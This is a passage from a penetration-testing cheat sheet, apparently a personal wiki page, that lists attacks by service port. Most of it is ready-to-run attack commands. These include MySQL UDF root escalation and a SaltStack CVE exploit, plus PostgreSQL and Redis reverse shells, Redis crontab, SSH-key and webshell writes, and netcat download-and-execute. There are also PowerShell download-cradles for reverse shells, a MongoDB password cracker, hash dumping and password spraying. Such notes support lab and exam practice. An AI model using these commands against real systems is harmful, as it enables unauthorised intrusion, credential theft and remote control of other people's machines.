 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in&lt;br /&gt;
# https://github.com/jasperla/CVE-2020-11651-poc&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 --exec &amp;quot;nc 127.0.0.1 4444 -e /bin/sh&amp;quot;&lt;br /&gt;
python3 exploit.py --master 192.168.115.130 -r /etc/shadow&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5432, 5433 - PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psql -U  # Open psql console with user&lt;br /&gt;
psql -h  -U  -d  # Remote connection&lt;br /&gt;
psql -h  -p  -U  -W   # Remote connection&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
psql -h localhost -d  -U  #Password will be prompted&lt;br /&gt;
\list # List databases&lt;br /&gt;
\c  # use the database&lt;br /&gt;
\d # List tables&lt;br /&gt;
\du+ # Get users roles&lt;br /&gt;
#Read a file&lt;br /&gt;
CREATE TABLE demo(t text);&lt;br /&gt;
COPY demo from &#039;[FILENAME]&#039;;&lt;br /&gt;
SELECT * FROM demo;&lt;br /&gt;
#Write ascii to a file (copy to cannot copy binary data)&lt;br /&gt;
COPY (select convert_from(decode(&#039;&#039;,&#039;base64&#039;),&#039;utf-8&#039;)) to &#039;C:\\some\\interesting\path.cmd&#039;;&lt;br /&gt;
#List databases&lt;br /&gt;
SELECT datname FROM pg_database;&lt;br /&gt;
#Read credentials (usernames + pwd hash)&lt;br /&gt;
SELECT usename, passwd from pg_shadow;&lt;br /&gt;
#Check if current user is superiser&lt;br /&gt;
SELECT current_setting(&#039;is_superuser&#039;); #If response is &amp;quot;on&amp;quot; then true, if &amp;quot;off&amp;quot; then false&lt;br /&gt;
#Check if plpgsql is enabled&lt;br /&gt;
SELECT lanname,lanacl FROM pg_language WHERE lanname = &#039;plpgsql&#039;&lt;br /&gt;
#Change password&lt;br /&gt;
ALTER USER user_name WITH PASSWORD &#039;new_password&#039;;&lt;br /&gt;
#Check users privileges over a table (pg_shadow on this example)&lt;br /&gt;
SELECT grantee, privilege_type&lt;br /&gt;
FROM information_schema.role_table_grants&lt;br /&gt;
WHERE table_name=&#039;pg_shadow&#039;&lt;br /&gt;
#Get users roles&lt;br /&gt;
SELECT&lt;br /&gt;
      r.rolname,&lt;br /&gt;
      r.rolsuper,&lt;br /&gt;
      r.rolinherit,&lt;br /&gt;
      r.rolcreaterole,&lt;br /&gt;
      r.rolcreatedb,&lt;br /&gt;
      r.rolcanlogin,&lt;br /&gt;
      r.rolconnlimit, r.rolvaliduntil,&lt;br /&gt;
  ARRAY(SELECT b.rolname&lt;br /&gt;
        FROM pg_catalog.pg_auth_members m&lt;br /&gt;
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)&lt;br /&gt;
        WHERE m.member = r.oid) as memberof&lt;br /&gt;
, r.rolreplication&lt;br /&gt;
FROM pg_catalog.pg_roles r&lt;br /&gt;
ORDER BY 1;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce&lt;br /&gt;
#PoC&lt;br /&gt;
DROP TABLE IF EXISTS cmd_exec;&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;id&#039;;&lt;br /&gt;
SELECT * FROM cmd_exec;&lt;br /&gt;
&lt;br /&gt;
postgres=# COPY cmd_exec FROM PROGRAM &#039;perl -MIO -e &#039;&#039;$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,&amp;quot;192.168.49.115:80&amp;quot;);STDIN-&amp;gt;fdopen($c,r);$~-&amp;gt;fdopen($c,w);system$_ while&amp;lt;&amp;gt;;;&lt;br /&gt;
COPY 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
The easiest way to connect to WinRM using C# is to use &#039;&#039;&#039;WSMAN Automation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Reference &amp;lt;code&amp;gt;wsmauto.dll&amp;lt;/code&amp;gt; from &amp;lt;code&amp;gt;Windows\System32&amp;lt;/code&amp;gt; in your project.&lt;br /&gt;
&lt;br /&gt;
The following code should work:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
IWSMan wsman = new WSManClass();&lt;br /&gt;
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();&lt;br /&gt;
if (options != null)&lt;br /&gt;
{&lt;br /&gt;
    try&lt;br /&gt;
    {&lt;br /&gt;
        // options.UserName = ???;&lt;br /&gt;
        // options.Password = ???;&lt;br /&gt;
        IWSManSession session = (IWSManSession)wsman.CreateSession(&amp;quot;http://&amp;lt;your_server_name&amp;gt;/wsman&amp;quot;, 0, options);&lt;br /&gt;
        if (session != null)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                // retrieve the Win32_Service xml representation&lt;br /&gt;
                var reply = session.Get(&amp;quot;http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt&amp;quot;, 0);&lt;br /&gt;
                // parse xml and dump service name and description&lt;br /&gt;
                var doc = new XmlDocument();&lt;br /&gt;
                doc.LoadXml(reply);&lt;br /&gt;
                foreach (var elementName in new string[] { &amp;quot;p:Caption&amp;quot;, &amp;quot;p:Description&amp;quot; })&lt;br /&gt;
                {&lt;br /&gt;
                    var node = doc.GetElementsByTagName(elementName)[0];&lt;br /&gt;
                    if (node != null) Console.WriteLine(node.InnerText);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            finally&lt;br /&gt;
            {&lt;br /&gt;
                Marshal.ReleaseComObject(session);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    finally&lt;br /&gt;
    {&lt;br /&gt;
        Marshal.ReleaseComObject(options);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Source:&lt;br /&gt;
&lt;br /&gt;
* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
